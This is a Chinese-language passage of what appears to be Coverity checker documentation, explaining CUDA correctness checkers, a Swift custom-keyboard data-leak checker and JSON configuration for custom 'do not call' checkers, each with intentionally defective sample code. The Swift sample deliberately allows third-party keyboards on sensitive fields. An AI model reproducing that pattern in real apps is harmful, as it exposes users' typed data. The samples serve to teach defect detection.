#define STR_MAX_LEN 64

class C {
 char *str;
public:
```

```

C() {
 cudaError_t const retVal = cudaMalloc(&str, STR_MAX_LEN+1); //defect
 assert(retVal == cudaSuccess);
}
};

C instance;

```

### 4.115.3. 事件

本部分描述了 CUDA.DEVICE\_DEPENDENT 检查器生成的一个或多个事件。

CUDA.DEVICE\_DEPENDENT 检查器会在用于构造或析构全局对象的构造函数或析构函数中添加事件。它将标记那些包含以下内容的行：ODR-使用托管存储持续时间对象、内核启动或者使用设备相关的 CUDA 接口。

- `callback_function` - 此事件标记当前函数为 CUDA 回调。
- `call_device_dependent_interface` - 此事件标注已调用的设备相关的 CUDA 运行时或驱动程序接口。
- `call_device_dependent_interface_indirectly` - 此事件标记对调用 CUDA 设备相关接口的函数的调用。
- `call_kernel_func` - 此事件标记内核启动。
- `call_kernel_func_indirectly` - 此事件标记对启动内核的函数的调用。
- `use_managed_object` - 此事件标记 ODR-使用托管存储持续时间对象。
- `use_managed_object_indirectly` - 此事件标记对 ODR-使用托管存储持续时间对象的函数的调用。

## 4.116. CUDA.DEVICE\_DEPENDENT\_CALLBACKS

质量检查器

### 4.116.1. 概述

支持的语言：. CUDA

CUDA.DEVICE\_DEPENDENT\_CALLBACKS 检查器查找 ODR-使用托管存储持续时间对象、内核启动和 CUDA 回调中设备相关的 CUDA 接口使用。

在按数据流顺序发生的回调中，通过

`cudaStreamAddCallback`、`cuStreamAddCallback`、`cudaLaunchHostFunc`、`cuLaunchHostFunc`、`cudaGraphAddHostNode` 或 `cuGraphAddHostNode` 创建的回调在其中一个回调中调用 CUDA 操作可能会导致死锁。

默认启用：CUDA.DEVICE\_DEPENDENT\_CALLBACKS 检查器默认启用。

#### 4.116.2. 示例

本部分提供了一个或多个 CUDA.DEVICE\_DEPENDENT\_CALLBACKS 示例。

在下面的示例中，针对回调定义显示了缺陷。

```
__managed__ int managedVar = 0;

void CUDART_CB callback(cudaStream_t stream, cudaError_t status, void *arg) {
 managedVar++; //#defect
}

void example(cudaStream_t stream) {
 cudaError_t err = cudaStreamAddCallback(stream, callback, NULL, 0);
 assert(cudaSuccess == err);
}
```

#### 4.116.3. 事件

本部分描述了 CUDA.DEVICE\_DEPENDENT\_CALLBACKS 检查器生成的一个或多个事件。

CUDA.DEVICE\_DEPENDENT\_CALLBACKS 检查器会在用于构造或析构全局对象的构造函数或析构函数中添加事件。它将标记那些包含以下内容的行：ODR-使用托管存储持续时间对象、内核启动或者使用设备相关的 CUDA 接口。

- `callback_function` - 此事件标记当前函数为 CUDA 回调。
- `call_device_dependent_interface` - 此事件标注已调用的设备相关的 CUDA 运行时或驱动程序接口。
- `call_device_dependent_interface_indirectly` - 此事件标记对调用 CUDA 设备相关接口的函数的调用。
- `call_kernel_func` - 此事件标记内核启动。
- `call_kernel_func_indirectly` - 此事件标记对启动内核的函数的调用。
- `use_managed_object` - 此事件标记 ODR-使用托管存储持续时间对象。
- `use_managed_object_indirectly` - 此事件标记对 ODR-使用托管存储持续时间对象的函数的调用。

### 4.117. CUDA.DIVERGENCE\_AT\_COLLECTIVE\_OPERATION

质量检查器

#### 4.117.1. 概述

支持的语言：. CUDA

CUDA.DIVERGENCE\_AT\_COLLECTIVE\_OPERATION 检查器标记 CUDA 的质量缺陷。当一组设备线程参与设备线程块或 warp ( Compute Capability 7.0 之前的版本 ) 集合操作且并非所有参与的设备线程都被融合时，就会发生此缺陷，这可能会导致代码执行挂起或产生非正常的副作用。当集合操作对块或线程索引具有控制流依赖关系时，会发生这种情况。

以下是此检查器支持的设备线程块集合操作 ( 它们会导致 collective\_block\_participants\_converged 子类别存在缺陷 ) 。

- \_\_syncthreads
- \_\_syncthreads\_and
- \_\_syncthreads\_count
- \_\_syncthreads\_or

以下是此检查器支持的 warp 集合操作 ( 仅适用于 Compute Capability 7.0 之前的版本，它们会导致 collective\_warp\_converged 子类别存在缺陷 ) :

- \_\_all\_sync
- \_\_any\_sync
- \_\_ballot\_sync
- \_\_match\_all\_sync
- \_\_match\_any\_sync
- \_\_shfl\_down\_sync
- \_\_shfl\_sync
- \_\_shfl\_up\_sync
- \_\_shfl\_xor\_sync
- \_\_syncwarp

默认启用 : CUDA.DIVERGENCE\_AT\_COLLECTIVE\_OPERATION 检查器默认启用。还可以使用以下方式显式启用它 : cov\_analyze 的 -en CUDA.DIVERGENCE\_AT\_COLLECTIVE\_OPERATION 或者 --all 显式启用它。

#### 4.117.2. 示例

本部分提供了一个或多个 CUDA.DIVERGENCE\_AT\_COLLECTIVE\_OPERATION 示例。

在下面的示例中，针对调用 `__syncthreads()` 显示了一个缺陷。

```
__global__ void times_negative_two(int* u) {
 auto const idx = blockIdx.x;
 if(idx % 2) {
 u[idx] = 2 * u[idx];
 __syncthreads(); // defect
 u[idx - 1] = 2 * u[idx - 1];
 } else {
 u[idx] = -1 * u[idx];
 __syncthreads();
 u[idx + 1] = -1 * u[idx + 1];
 }
}
```

#### 4.117.3. 事件

本部分描述了 `CHECKER_NAME` 检查器生成的一个或多个事件。

- `create_device_thread_index` - 此事件标记何时由内置 CUDA 变量（例如 `blockIdx`）计算变量，或者何时处理源模型。
- `assign` - 分配流事件
- `device_thread_dependent_condition` - 在控制线程同步或 warp 集合调用的控制流的条件表达式中添加此事件。
- `thread_synchronization_call` - 在直接或间接执行线程同步的调用上添加此事件。
- `warp_collective_call` - 在直接或间接执行 warp 集合操作的调用上添加此事件。

### 4.118. CUDA.ERROR\_INTERFACE

质量检查器

#### 4.118.1. 概述

支持的语言：. CUDA

`CUDA.ERROR_INTERFACE` 检查器在调用任何 CUDA 库接口之后查找未检查的 `CUresult` 或 `cudaError_t` 返回值。CUDA 库通过从接口返回数字错误代码来报告错误。由于存在异步错误，如果程序无法检查接口调用是否返回错误，则会发生以下情况之一：

- 如果该错误是同步的，则不会为该错误生成诊断。
- 如果该错误是异步的，则随后的接口调用将返回该错误。这可能使确定异步错误的来源变得混乱。

默认启用：`CUDA.ERROR_INTERFACE` 检查器默认启用。

#### 4.118.2. 示例

本部分提供了一个或多个 CUDA.ERROR\_INTERFACE 示例。

```
void example() {
 int device = -1;
 const cudaDeviceProp *invalid_property = nullptr;
 cudaChooseDevice(&device, invalid_property); // defect
}
```

#### 4.118.3. 事件

本部分描述了 CUDA.ERROR\_INTERFACE 检查器生成的一个或多个事件。

- `cuda_library_interface` - 此事件指定具有 `CUresult` 或 `cudaError_t` 返回类型的 CUDA 库接口。
- `reassign` - 当尚未检查变量先前的错误值时，此事件会标记为该变量分配新值。
- `end_of_path` - 此事件指定我们已经到达路径的末尾。

### 4.119. CUDA.ERROR\_KERNEL\_LAUNCH

质量检查器

#### 4.119.1. 概述

支持的语言：. CUDA

CUDA.ERROR\_KERNEL\_LAUNCH 检查器查找在代码调用内核函数后未调用 `cudaGetLastError` 函数以检查错误的情况。

默认启用：CUDA.ERROR\_KERNEL\_LAUNCH 检查器默认启用。

#### 4.119.2. 示例

本部分提供了一个或多个 CUDA.ERROR\_KERNEL\_LAUNCH 示例。

在下面的示例中，在调用内核函数 `kernel_fn` 之后未调用函数 `cudaGetLastError`。

```
__global__ void kernel_fn() {}

int main() {
 kernel_fn<<<1, 2>>>(); // defect
 return 0;
}
```

## 4.120. CUDA.FORK

质量检查器

### 4.120.1. 概述

支持的语言：. CUDA

CUDA.FORK 检查器查找任何 CUDA 库接口的调用，在 CUDA 库接口分配的存储中驻留的任何对象的使用，以及在调用 `fork` 之后和随后的调用 `exec` 之前任何托管存储持续时间对象的使用。该程序通过调用 `fork` 复制自身。调用 `fork` 时，CUDA 内部数据结构或线程不会复制到新进程。如果在调用 `fork` 之后和随后的调用 `exec` 之前使用 CUDA，则可能导致不确定的行为。

默认启用：CUDA.FORK 检查器默认启用。

### 4.120.2. 示例

本部分提供了一个或多个 CUDA.FORK 示例。

在调用 `fork` 和 `exec` 之间，调用 `cudaSetDevice` 具有不确定的行为。

```
void example() {
 int32_t device = 0;

 pid_t fpid = fork();

 if (fpid < 0) {
 // ...
 } else if (fpid == 0) {
 if (cudaSuccess == cudaSetDevice(device)) {
 }

 execl("/bin/ls", "ls", "-a", NULL); //defect
 } else {
 // ...
 }
}
```

### 4.120.3. 事件

本部分描述了 CUDA.FORK 检查器生成的一个或多个事件。

- `call_cuda_interface` - 此事件标记调用了 CUDA 库接口。
- `call_cuda_interface_indirectly` - 此事件标记间接调用了 CUDA 库接口。
- `use_managed_object` - 此事件指示在函数调用中使用托管存储持续时间对象。

- `use_managed_object_indirectly` - 此事件指示在间接调用的函数中使用托管存储持续时间对象。
- `cuda_alloc` - 此事件显示对分配存储的 CUDA 接口的调用。
- `use_cuda_alloc_object` - 此事件显示使用驻留在 CUDA 库接口分配的存储中的对象。
- `call_fork` - 此事件指示对 `fork` 的调用。
- `call_fork_indirectly` - 此事件指示对 `fork` 的间接调用。

## 4.121. CUDA.INACTIVE\_THREAD\_AT\_COLLECTIVE\_WARP

安全检查器

### 4.121.1. 概述

支持的语言：. CUDA

CUDA.INACTIVE\_THREAD\_AT\_COLLECTIVE\_WARP 检查器查找以下情况中的缺陷：

- 使用掩码调用 CUDA 同步函数，并且在掩码中未命名某些执行该调用的线程，或者在掩码中命名的某些线程不执行该调用。
- 无序操作由部分 warp 执行，操作的宽度导致在计算中使用一些不活动的通道。

我们跟踪对以下 CUDA 函数的调用，这些函数用作能够生成掩码的源：

- `__activemask`
- `__ballot_sync`
- `__match_all_sync`
- `__match_any_sync`

我们还将跟踪对以下 CUDA 函数的调用（请注意，某些函数既是数据消费者又是源）：

- `__all_sync`
- `__any_sync`
- `__ballot_sync`
- `__match_all_sync`
- `__match_any_sync`
- `__shfl_sync`

- `__shfl_down_sync`
- `__shfl_up_sync`
- `__shfl_xor_sync`
- `__syncwarp`

默认启用 - `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP` 默认启用。

#### 4.121.2. 示例

本部分提供了一个或多个 `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP` 示例。

##### 4.121.2.1. 常量掩码跟踪

本小节包含具有程序缺陷的示例代码，这些程序缺陷由 `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP` 的常量掩码跟踪组件发现。

这是一个问题，因为在 `else` 块中引用了 0 通道，但不会参与该调用。标记了第二个缺陷，因为 `__shfl_sync` 函数的第三个参数引用了未参与的线程。这里报告了两个缺陷。

```
__device__ void broadcast(int32_t u) {
 uint32_t idx = threadIdx.x & 31;
 int32_t v = 0;
 if (0 == idx)
 v = u;
 else
 v = __shfl_sync(0b11111111111111111111111111111111, v, 0);
}
```

##### 4.121.2.2. 生成的掩码跟踪

本小节包含具有程序缺陷的代码，这些程序缺陷由 `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP` 的生成掩码跟踪组件发现。

这里有一个非常典型的程序缺陷：这是一个缺陷，因为假定 `foo()` 不能保证为 warp 中的所有线程返回相同的布尔值；如果确实如此，那么对于投票谓词来说，这将是一个极不可能的选择。warp 中的所有线程执行 `syncwarp` 调用，但并非所有线程都在掩码中命名。

```
__device__ void untested_mask(){
 uint32_t mask = __ballot_sync(0xffffffff, foo());
 __syncwarp(mask);
}
```

此掩码中可能有不活动的线程：这是一个缺陷，因为掩码中的不活动线程会导致此类函数的错误结果，并且 `mask1` 排除的任何不活动线程都将明确包含在 `mask2` 中。

```
__device__ void unsafe_complement() {
 uint32_t mask1 = __ballot_sync(0xffffffff, foo());
 uint32_t mask2 = ~mask1;
 if (!foo()) {
 bar2();
 result2 = __shfl_sync(mask2, var2, 0);
 }
}
```

#### 4.121.2.3. 部分 warp

本小节包含具有程序缺陷的代码，这些程序缺陷由 CUDA.INACTIVE\_THREAD\_AT\_COLLECTIVE\_WARP 的部分 warp 跟踪组件发现。

这里有一个非常典型的程序缺陷：这是 `caller()` 中的一个缺陷，因为 `test1` 内核是使用 40 个线程启动的。这构成一个 32 线程的完整 warp 和一个 8 线程的部分 warp。此函数调用宽度为 16 的 `__shfl_sync()`，这意味着它将其操作细分为两组 16 个通道。当在部分 warp 上运行时，第二组通道仅包含非活动线程，因此其结果并不重要，但是第一组通道包含 8 个活动线程和 8 个非活动线程，即使其中的一半包含无效或过时的数据，该操作也会合并来自所有 16 个通道的数据。

```
__device__ void calledFunc(){
 uint32_t mask = __shfl_sync(0xffffffff, var1, 1, 16);
 __syncwarp(mask);
}

__device__ int caller() {
 calledFunc<<<1, 40>>>();
 return (int) cudaGetLastError();
}
```

#### 4.121.3. 选项

本部分描述了一个或多个 CUDA.INACTIVE\_THREAD\_AT\_COLLECTIVE\_WARP 选项。

注意：这些检查器选项不受攻击性级别的影响。

- CUDA.INACTIVE\_THREAD\_AT\_COLLECTIVE\_WARP:report\_activemask:<boolean> - 设置此选项允许用户每当使用 `__activemask()` 生成的掩码时，都抑制默认报告缺陷。默认值为 CUDA.INACTIVE\_THREAD\_AT\_COLLECTIVE\_WARP:report\_activemask:true

#### 4.121.4. 事件

本部分描述了 CUDA.INACTIVE\_THREAD\_AT\_COLLECTIVE\_WARP 检查器生成的一个或多个事件。

##### 4.121.4.1. 常量掩码跟踪

缺陷报告将具有以下一个或多个事件：

- `use_invalid_width` - 指示将显式 width 参数传递给无序操作，并且该 width 不是 2 的整数幂，也小于或等于 warp 大小。
- `use_mask` - 指示已将掩码传递到 CUDA 函数中。
- `invalid_parameter` - 指示传递给无序操作的参数与当前参与线程集和/或提供的常量掩码不兼容。

#### 4.121.4.2. 未净化的掩码使用

缺陷报告将具有以下一个或多个事件：

- `create_or_modify mask` - 表示创建或修改掩码的操作。
- `use_mask` - 指示函数使用未经过正确净化的掩码。正确净化的掩码不会导致缺陷报告。

#### 4.121.4.3. 无效的部分 warp

缺陷报告将具有以下事件：

- `launch_partial_warp` - 指示创建部分 warp 的内核调用，显示所需的部分 warp 大小。

### 4.122. CUDA.INITIATION\_OBJECT\_DEVICE\_THREAD\_BLOCK 质量

#### 4.122.1. 概述

支持的语言：. CUDA

CUDA.INITIATION\_OBJECT\_DEVICE\_THREAD\_BLOCK 检查器查找在赋值之前已经读取的具有设备线程块存储持续时间的变量，例如 `_shared_` 变量。设备线程块存储持续时间对象不应具有初始化器或非常重要的类型。使用未初始化的值会导致不确定的行为，因此，第一次使用设备线程块存储持续时间对象时，必须为该对象赋值。

默认启用：CUDA.INITIATION\_OBJECT\_DEVICE\_THREAD\_BLOCK 检查器默认启用。

#### 4.122.2. 示例

本部分提供了一个或多个 CUDA.INITIATION\_OBJECT\_DEVICE\_THREAD\_BLOCK 示例。

此检查器在内核函数的执行路径上查找 `_shared_` 变量声明，如果在写入变量之前对其进行了读取，则报告违规。`_shared_` 变量 array 在读取其值之前未赋值。

```
_global__ void example() {
 _shared__ int array[100];
 int t = threadIdx.x;
```

```

float C = 0.0;
C += array[t]; // defect
}

```

## 4.123. CUDA.INVALID\_MEMORY\_ACCESS

质量检查器

### 4.123.1. 概述

支持的语言：. CUDA

CUDA.INVALID\_MEMORY\_ACCESS 检查器查找未正确使用指向主机或设备内存的指针的情况。CUDA 代码在主机 (CPU) 或许多设备 (GPU 内核) 之一上执行。内存可以分配在主机或设备上，也可以“托管”或“共享”，这意味着编译器将负责将其内容复制到适当的位置。指针可以引用任何这些类型的内存，并且可以在主机/设备之间传递。CUDA.INVALID\_MEMORY\_ACCESS 检查器搜索指针使用不正确的情况，例如将主机指针传递给设备，或在主机上取消引用设备指针。

CUDA.INVALID\_MEMORY\_ACCESS 检查器默认启用。

### 4.123.2. 示例

本部分提供了一个或多个 CUDA.INVALID\_MEMORY\_ACCESS 示例。

下面是简单的 CUDA.INVALID\_MEMORY\_ACCESS 缺陷的示例，它属于 host\_private 子类别：

```

__global__ void print(int &i) {
 printf("%d\n", i);
}

void host_to_device() {
 int i = 42;
 print<<<1, 1>>>(i); //defect

 assert(cudaGetLastError() == cudaSuccess);
 assert(cudaDeviceSynchronize() == cudaSuccess);
}

```

下面是 host\_private 的另一个示例，其中 CUDA.INVALID\_MEMORY\_ACCESS 检查器查找函数指针的不正确使用：

```

__global__ void kernel_print(void(*print_fn)(int&)) {
 int id = blockIdx.x * blockDim.x + threadIdx.x;
 (*print_fn)(id);
}

void fn_ptr() {
 kernel_print<<<1, 32>>>(&print); // defect
 assert(cudaGetLastError() == cudaSuccess);
 assert(cudaDeviceSynchronize() == cudaSuccess);
}

```

```
}
```

下面是简单的 CUDA.INVALID\_MEMORY\_ACCESS 缺陷的示例，它属于 device\_private 子类别：

```
void device_deref_on_host() {
 int *p = nullptr;
 cudaError_t err = cudaMalloc(&p, sizeof(int));
 assert(err == cudaSuccess);
 *p = 42; // defect
}
```

下面是简单的 CUDA.INVALID\_MEMORY\_ACCESS 缺陷的示例，它属于 device\_thread 子类别：

```
device_ void share_ptr_with_other_devices() {
 int i = 13;
 _shfl_sync(~0, reinterpret_cast<uintptr_t>(&i), 0); // defect
}
```

下面是简单的 CUDA.INVALID\_MEMORY\_ACCESS 缺陷的示例，它属于 device\_thread\_block 子类别：

```
device_ int *device_global;
device_ void share_device_block_ptr() {
 shared_ int shared = 13;
 device_global = &shared; // defect
}
```

## 4.124. CUDA.SHARE\_FUNCTION

质量检查器

### 4.124.1. 概述

支持的语言：. CUDA

CUDA.SHARE\_FUNCTION 检查器是 CUDA 的质量检查器。CUDA 代码在主机 (CPU) 或许多设备 (GPU 内核) 之一上执行。仅带有 device\_ 的函数表示它们只能在设备上执行。同样，仅带有 host\_ 说明符 (或者没有 host\_、device\_ 或 global\_ 说明符) 的函数只能在主机上调用。此检查器通过查看主机执行空间中对仅设备函数的函数调用来搜索是否违反上述规则，反之亦然。

CUDA.SHARE\_FUNCTION 检查器默认启用。

### 4.124.2. 示例

本部分提供了一个或多个 CUDA.SHARE\_FUNCTION 示例。

在本例中，对 call\_device\_only 中的 foo 的函数调用最终会在主机执行空间中调用仅设备函数，而对 call\_host\_only 中的 foo 的函数调用最终会在设备执行空间中调用仅主机函数。

```

struct device_st {
 template <class T>
 __device__ T operator()(T t) {
 return t;
 }
};

struct host_st {
 template <class T>
 T operator()(T t) {
 return t;
 }
};

template <class St>
__host__ __device__
void foo(int &a, St s) {
 a = s(a);
}

void call_device_only(int a) {
 foo(a, device_st()); // defect
}

__device__ void call_host_only(int a) {
 foo(a, host_st()); // defect
}

```

## 4.125. CUDA.SHARE\_OBJECT\_STREAM\_ASSOCIATED 质量检查器

### 4.125.1. 概述

支持的语言：. CUDA

CUDA.SHARE\_OBJECT\_STREAM\_ASSOCIATED 检查器查找从不同的数据流访问与某个数据流关联的托管全局变量的实例。所有这些情况都是缺陷。

CUDA.SHARE\_OBJECT\_STREAM\_ASSOCIATED 检查器默认启用。它仅适用于 CUDA 语言编译单元。

### 4.125.2. 示例

本部分提供了一个或多个 CUDA.SHARE\_OBJECT\_STREAM\_ASSOCIATED 示例。

#### 4.125.2.1. 全局访问示例

这是一个典型的程序缺陷：

```

__device__ __managed__ int manX;
extern __device__ void doSomething(int);

__global__ void kernelReadsX()
{
 doSomething(manX);
}

cudaError_t test1()
{
 cudaError_t result;
 cudaStream_t streamX;
 result = cudaStreamCreate(&streamX);
 if (result != 0) {
 return result;
 }
 result = cudaStreamAttachMemAsync(streamX, &manX);
 if (result != 0) {
 return result;
 }
 kernelReadsX<<<1, 0, 0>>>();
 result = cudaGetLastError();
 if (result != 0) {
 return result;
 }
 result = cudaStreamDestroy(streamX);
 return result;
}

```

这是一个程序缺陷，因为 `manX` 与数据流 `streamX` 关联，但是随后在默认数据流而不是在数据流 `streamX` 上启动了访问 `manX` 的内核。这是被禁止的。

#### 4.125.2.2. 传递的指针访问示例

这是一个典型的程序缺陷：

```

__device__ __managed__ int manX;
extern __device__ void doSomething(int);

__global__ void kernelDoesSomething(int *param)
{
 doSomething(*param);
}

cudaError_t test2()
{
 cudaError_t result;
 cudaStream_t streamX;
 result = cudaStreamCreate(&streamX);
 if (result != 0) {
 return result;
 }

```

```

result = cudaStreamAttachMemAsync(streamX, &manX);
if (result != 0) {
 return result;
}
kernelDoesSomething<<<1, 0, 0>>>(&manX);
result = cudaGetLastError();
if (result != 0) {
 return result;
}
result = cudaStreamDestroy(streamX);
return result;
}

```

这是一个程序缺陷，因为 `manX` 与数据流 `streamX` 相关联，但是指向该变量的指针然后传递给一个内核，而该内核并没有在 `streamX` 数据流上启动。即使指针未被解引用，也会报告缺陷。

#### 4.125.3. 事件

本部分描述了 `CUDA.SHARE_OBJECT_STREAM_ASSOCIATED` 检查器生成的一个或多个事件。

由全局变量访问

当满足上述条件时，将发出一个缺陷。一个报告将具有以下三个事件：

- `bind_object_to_stream` - 此事件指明全局变量已与特定数据流关联。
- `call_kernel_with_wrong_stream` - 此事件指明已启动使用一个或多个此类关联变量的内核，但尚未使用适当的数据流启动该内核。
- `access_managed_global_variable` - 此事件指明在内核调用的被调用方中进行无效访问的位置。

### 4.126. CUDA.SPECIFIERS\_INCONSISTENCY

质量检查器

#### 4.126.1. 概述

支持的语言：. CUDA

`CUDA.SPECIFIERS_INCONSISTENCY` 检查器跨函数声明查找 CUDA 执行空间 (`__host__` 和 `__device__` specifiers) 与内核 (`__global__`) 函数说明符之间的不一致情况。

`CUDA.SPECIFIERS_INCONSISTENCY` 检查器默认对 CUDA 启用。它可以通过 `-en CUDA.SPECIFIER_INCONSISTENCY` 或 `--all` 选项启用。

#### 4.126.2. 示例

本部分提供了一个或多个 `CUDA.SPECIFIERS_INCONSISTENCY` 示例。

test1.cu

```
__host__ __device__ void foo_execution_space_inconsistent()//
CUDA.SPECIFIERS_INCONSISTENCY defect

int cuda_specifier_inconsistent() {
 foo_execution_space_inconsistent();
 return 0;
}
```

test2.cu

```
__host__ void foo_execution_space_inconsistent() { }
```

#### 4.126.3. 事件

本部分描述了 CUDA.SPECIFIERS\_INCONSISTENCY 检查器生成的一个或多个事件。

声明（或定义）事件是检查器的主要事件。它指明某个声明与其他声明或函数定义不一致。对于与主要事件中的声明不一致的每个声明，它后面都跟一个或多个声明（或定义）事件。

### 4.127. CUDA.SYNCHRONIZE\_TERMINATION

质量检查器

#### 4.127.1. 概述

支持的语言：. CUDA

CUDA.SYNCHRONIZE\_TERMINATION 检查器查找在主机程序终止之前未调用 cudaDeviceSynchronize 以与所有设备上所有未完成的工作进行同步的情况。

默认启用：CUDA.SYNCHRONIZE\_TERMINATION 检查器默认启用。

#### 4.127.2. 示例

本部分提供了一个或多个 CUDA.SYNCHRONIZE\_TERMINATION 示例。

在下面的示例中，由于未调用 cudaDeviceSynchronize 以与所有设备上的所有未完成的工作同步，因此在主函数的末尾报告了缺陷。

```
int main(int argc, char **argv) {
 kernel_call_that_may_fail<<<1, 1>>>();
 cudaError_t const retVal = cudaGetLastError();
 assert(cudaSuccess == retVal);

 return 0; //#defect
```

}

### 4.127.3. 事件

本部分描述了 CUDA.SYNCHRONIZE\_TERMINATION 检查器生成的一个或多个事件。

- call\_kernel\_func - 此事件标记内核函数调用。
- call\_kernel\_func\_indirectlyevent\_name - 此事件标记间接启动内核函数的函数调用。
- terminate\_host - 此事件标记终止主机程序的函数调用。
- terminate\_host\_indirectly - 此事件标记间接终止主机程序的函数调用。

## 4.128. CUSTOM\_KEYBOARD\_DATA\_LEAK

安全检查器

### 4.128.1. 概述

支持的语言：. Swift

CUSTOM\_KEYBOARD\_DATA\_LEAK 查找可选委托函数未实现的情况。它还识别所实现的函数未能对键盘的扩展点标识符执行代码检查的问题。

自定义键盘可以拦截和泄漏敏感数据：假设它们规避安全审查，被安装并被授予通过网络进行通信的权限。操作系统不允许在安全文本字段上使用自定义键盘，所以这些字段默认是受保护的。对于其他可能包含敏感数据的字段，应用程序可以通过在实现 `UIApplicationDelegate` 协议的类中实现可选函数来阻止使用自定义键盘。

默认启用：CUSTOM\_KEYBOARD\_DATA\_LEAK 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

### 4.128.2. 缺陷剖析

CUSTOM\_KEYBOARD\_DATA\_LEAK 缺陷说明了禁用自定义键盘控件的控件未实现的情况。

### 4.128.3. 示例

本部分提供了一个或多个 CUSTOM\_KEYBOARD\_DATA\_LEAK 示例。

此示例实现 `application:shouldAllowExtensionPointIdentifier:` 委托函数但不针对自定义键盘返回 `false`：

```
class AppDel : NSObject, UIApplicationDelegate
{
 // CUSTOM KEYBOARD DATA LEAKAGE here
```

```

func application(
 _application : UIApplication,
 shouldAllowExtensionPointIdentifier : UIApplicationExtensionPointIdentifier)
-> Bool
{
 return true
}

}

```

## 4.129. DC.CUSTOM\_CHECKER

质量、安全 (不调用) 检查器

### 4.129.1. 将 DC 自定义检查器迁移到 CodeXM

CodeXM 是一种专门用于编写新检查器的语言。自 2020.03 发行版起，我们建议使用 CodeXM 实现可以确定“不调用”问题的自定义检查器。我们还建议将现有自定义 DC 检查器迁移到 CodeXM。

有关更多信息，请参阅“编写您自己的不调用检查器”。

### 4.129.2. 检查器描述

支持的语言：. C、C++、C#、Java、Objective-C、Objective-C++

Coverity Analysis 提供了一些 DC.\* (不调用) 检查器（请参阅 Section 4.133，“DC.STREAM\_BUFFER”、Section 4.134，“DC.STRING\_BUFFER”和Section 4.135，“DC.WEAK\_CRYPTO”），供您在分析中使用。您还可以通过 JSON 配置文件（通过使用 cov-analyze 的 --dc-config <file.json> 选项调用）创建 DC.CUSTOM\_\* 检查器。

顶层字段：. 用于此检查器的 JSON 配置文件中的顶层字段与针对 Web 应用程序安全文件的这些字段相同。这些在《安全指令说明书》>“顶层值”部分中描述。请阅读该部分中的重要建议和要求段落。

指令语法：. 自定义“不调用”检查器指令是一个 JSON 对象。有关语法的详情，请参阅 dc\_checker\_name。

示例 1：. 每个新的 DC.CUSTOM\_\* 检查器都需要至少一个方法。

```

{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "C-like",
 "directives" : [
 {
 "dc_checker_name" : "DC.CUSTOM_MY_CHECKER",
 },
 {
 "method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
 "methods" : { "named" : "strcmp" },
 }
]
}

```

```

 },
]
}

```

示例 2：现在假设您想要定义两个自定义检查器：DC.CUSTOM\_MY\_CHECKER（报告对 strcmp、strcat 和 mybadfunc 这三个方法的调用）和 DC.CUSTOM\_ANOTHER\_CHECKER（报告对 memmove 的调用）。在此情况下，该配置文件需要为每个检查器定义 dc\_checker\_name。对于每个方法，该配置需要定义 method\_set\_for\_dc\_checker 并向 DC.CUSTOM\_\* 检查器添加指定方法。method\_set\_for\_dc\_checker 指令可以按任意顺序显示，只要它们接在其所引用检查器的声明之后即可。

```

{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "C-like",
 "directives" : [
 {
 "dc_checker_name" : "DC.CUSTOM_MY_CHECKER",
 },
 {
 "dc_checker_name" : "DC.CUSTOM_ANOTHER_CHECKER",
 },
 {
 "method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
 "methods" : { "named" : "strcmp" },
 },
 {
 "method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
 "methods" : { "named" : "strcat" },
 },
 {
 "method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
 "methods" : { "named" : "mybadfunc" },
 "txt_defect_message" : "Very bad function. Do not call mybadfunc again!",
 "txt_remediation_advice" : "Use mygoodfunc instead of mybadfunc.",
 },
 {
 "method_set_for_dc_checker" : "DC.CUSTOM_ANOTHER_CHECKER",
 "methods" : { "named" : "memmove" },
 },
]
}

```



### 有效检查器名称

与所有 Coverity 检查器名称一样，您的自定义检查器名称必须全部采用大写，例如 DC.CUSTOM\_MY\_CHECKER 或 DC.CUSTOM\_MYCHECKER，而不是 DC.Custom\_My\_Checker 或 DC.Custom\_myChecker。该检查器名称必须以 DC.CUSTOM\_ 开头，后接您选择的唯一名称。

### 方法名称规范

- C 的方法名称是基础名称。

- 您可以使用 C++、C# 或 Java 函数的内部修饰过的 (mangled) 名称 ( 可通过 cov-find-function 命令获得 )。要发现该名称，请编写定义与目标匹配名称类似的方法的源代码，然后使用 cov-make-library -of <some file> <source> 后接 cov-find-function --user-model-file <some file> <function's identifier> ( 将显示您需要匹配的名称 )。
- 对于 C++，您可以提供函数的完整名称，包括范围和参数。例如，对于 class MyClass 中的方法 mymethod(char \*)，您可以使用以下形式：

```
"MyClass::mymethod(char *)"
```

但是，请注意，当您指定完整的名称时，限定符 ( 例如 const ) 应该接在类型名称之后。例如，假设如下所示：

```
namespace NS {

 struct S1 { };

 struct S2 {
 void func(volatile const S1 * const &);
 };
}
```

在此处，函数 func 必须按如下方式标识：

```
NS::S2::func(NS::S1 const volatile * const &)
```

- 对于 Java 和 C#，您需要使用完全限定的名称。例如，要在 Java 中为 DC.CUSTOM\_MYJAVA\_CHECKER 检查器添加 void println(String)，您可以使用以下指令：

```
{
 "method_set_for_dc_checker" : "DC.CUSTOM_MYJAVA_CHECKER",
 "methods" : { "named" : "java.io.PrintStream.println(java.lang.String)void" },
},
```

要在 C# 中为 DC.CUSTOM\_MYCSHARP\_CHECKER 检查器添加 void WriteLine(String)，您可以使用以下指令：

```
{
 "method_set_for_dc_checker" : "DC.CUSTOM_MYCSHARP_CHECKER",
 "methods" : { "named" : "System.Console::WriteLine(System.String)System.Void" },
},
```

## 4.130. DC.DANGEROUS

质量、安全 ( 不调用 ) 检查器

### 4.130.1. 概述

支持的语言：. Java

DC.DANGEROUS 可检测从 `java.lang.Thread` 和 `java.lang.ThreadGroup` 中不安全地调用已废弃的 `stop()` 方法的情况。它还可以检测对 `java.lang.Thread.destroy()` 的调用，因为该方法未实现（这与使用该方法的开发人员可能认定的情况相反）。此外，还会检测对 `java.io.ObjectOutputStream$PutField.write(java.io.ObjectOutput)` 的调用，因为此类调用可能损坏序列化数据流。

